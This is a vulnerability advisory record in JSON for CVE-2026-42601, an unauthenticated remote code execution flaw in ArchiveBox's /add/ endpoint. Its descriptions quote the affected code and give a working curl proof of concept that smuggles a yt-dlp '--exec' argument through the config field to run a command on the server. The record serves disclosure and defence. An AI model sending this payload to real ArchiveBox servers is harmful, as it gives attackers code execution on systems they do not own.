{"id":"CVE-2026-42601","aliases":["CVE-2026-42601","GHSA-3h23-7824-pj8r","PYSEC-2026-283"],"related":[],"kind":"vulnerability","state":"published","title":"ArchiveBox Vulnerable to RCE via unvalidated per-crawl config overrides in AddView","summary":"ArchiveBox is an open source self-hosted web archiving system. In versions 0.8.6rc0 and prior, the /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE. At time of publication, there are no publicly available patches.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"ArchiveBox is an open source self-hosted web archiving system. In versions 0.8.6rc0 and prior, the /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE. At time of publication, there are no publicly available patches.","source":"cvelist"},{"lang":"en","text":"The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.\n\nWhen PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.\n\nAffected code:\n\ncore/views.py:887 - user config extracted with no validation:\n  custom_config = form.cleaned_data.get(\"config\") or {}\n\ncore/views.py:918 - merged into crawl config:\n  config.update(custom_config)\n\nconfig/configset.py:255-256 - crawl config applied with high priority:\n  if crawl and hasattr(crawl, \"config\") and crawl.config:\n      config.update(crawl.config)\n\nhooks.py:398-411 - config exported as env vars:\n  for key, value in config.items():\n      if key in SKIP_KEYS: continue\n      env[key] = str(value)\n\nplugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp:\n  ytdlp_args_extra = get_env_array(\"YTDLP_ARGS_EXTRA\", [])\n  cmd.extend(ytdlp_args_extra)\n\nPoC (pre-auth when PUBLIC_ADD_VIEW=True):\n\n  curl -X POST http://localhost:8000/add/ \\\n    -d \"url=https://www.youtube.com/watch?v=dQw4w9WgXcQ\" \\\n    -d \"depth=0\" \\\n    -d \"config={\\\"YTDLP_ARGS_EXTRA\\\": \\\"[\\\\\\\"--exec\\\\\\\", \\\\\\\"id > /tmp/pwned\\\\\\\"]\\\"}\" \n\nAfter the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.\n\nSame approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.\n\nImpact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.","format":"markdown","source":"ghsa"},{"lang":"es","text":"ArchiveBox es un sistema de archivado web de código abierto autoalojado. En las versiones 0.8.6rc0 y anteriores, el endpoint /add/ (AddView en core/views.py) acepta un campo JSON de configuración que se fusiona con la configuración de rastreo sin validación. Esta configuración se exporta como variables de entorno cuando se ejecutan los plugins de archivo, permitiendo la inyección de argumentos de herramientas arbitrarios para lograr RCE. En el momento de la publicación, no hay parches disponibles públicamente.","source":"nvd"},{"lang":"en","text":"The /add/ endpoint (AddView in core/views.py) accepts a config JSON field that gets merged into the crawl config without validation. This config is exported as environment variables when archive plugins run, allowing injection of arbitrary tool arguments to achieve RCE.\n\nWhen PUBLIC_ADD_VIEW=True (common for bookmarklet usage), this is exploitable without authentication. The endpoint is also @csrf_exempt.\n \nAffected code:\n\ncore/views.py:887 - user config extracted with no validation:\n \n```python\ncustom_config = form.cleaned_data.get(\"config\") or {}\n```\n\ncore/views.py:918 - merged into crawl config:\n\n```python\nconfig.update(custom_config)\n```\n\n config/configset.py:255-256 - crawl config applied with high priority:\n\n```python\n if crawl and hasattr(crawl, \"config\") and crawl.config:\n    config.update(crawl.config)\n ```\n\nhooks.py:398-411 - config exported as env vars:\n\n```python\nfor key, value in config.items():\n    if key in SKIP_KEYS: continue\n    env[key] = str(value)\n ```\n\nplugins/ytdlp/on_Snapshot__02_ytdlp.bg.py:122-123 - env var args passed to yt-dlp:\n\n```python\nytdlp_args_extra = get_env_array(\"YTDLP_ARGS_EXTRA\", [])\n cmd.extend(ytdlp_args_extra)\n```\n\nPoC (pre-auth when PUBLIC_ADD_VIEW=True):\n \n```bash\ncurl -X POST http://localhost:8000/add/ \\\n  -d \"url=https://www.youtube.com/watch?v=dQw4w9WgXcQ\" \\\n  -d \"depth=0\" \\\n  -d \"config={\\\"YTDLP_ARGS_EXTRA\\\": \\\"[\\\\\\\"--exec\\\\\\\", \\\\\\\"id > /tmp/pwned\\\\\\\"]\\\"}\" \n```\n\nAfter the crawl runs, yt-dlp executes id > /tmp/pwned via its --exec flag.\n\nSame approach works with GALLERYDL_ARGS_EXTRA (gallery-dl --exec), or overriding any *_BINARY key.\n \nImpact: Remote code execution on the ArchiveBox server. Pre-auth when PUBLIC_ADD_VIEW=True.","format":"markdown","source":"pysec"}],"published":"2026-05-04T21:30:19.000Z","modified":"2026-07-24T19:10:00.160Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"cwes":["CWE-88"],"affected":[{"ranges":[{"version":"<= 0.8.6rc0","status":"affected"}],"vendor":"ArchiveBox","product":"ArchiveBox","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"0.8.6rc0"}],"ecosystem":"PyPI","package":"archivebox","purl":"pkg:pypi/archivebox","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.8.6"},{"status":"affected","version":"0.8.6"}],"vendor":"archivebox","product":"archivebox","cpe":"cpe:2.3:a:archivebox:archivebox:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"0.8.6rc0"}],"ecosystem":"PyPI","package":"archivebox","purl":"pkg:pypi/archivebox","source":"pysec"}],"references":[{"url":"https://github.com/ArchiveBox/ArchiveBox/security/advisories/GHSA-3h23-7824-pj8r","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42601","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/ArchiveBox/ArchiveBox","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/archivebox/PYSEC-2026-283.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://pypi.org/project/archivebox","tags":["package","web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-3h23-7824-pj8r","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-05-11T14:45:28.651Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42601","url":"https://www.cve.org/CVERecord?id=CVE-2026-42601","licence":"CVE Terms of Use","modified":"2026-05-11T14:45:56.051Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3h23-7824-pj8r","url":"https://github.com/advisories/GHSA-3h23-7824-pj8r","licence":"CC-BY-4.0","modified":"2026-07-07T13:15:14.338Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42601","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42601","licence":"Public domain","modified":"2026-07-24T19:10:00.160Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-283","url":"https://osv.dev/vulnerability/PYSEC-2026-283","licence":"CC-BY-4.0","modified":"2026-07-01T20:22:49.438Z"}],"updatedAt":"2026-11-25T22:59:21.154Z","epss":{"score":0.00404,"percentile":0.36733,"date":"2026-12-01T12:00:22.000Z"}}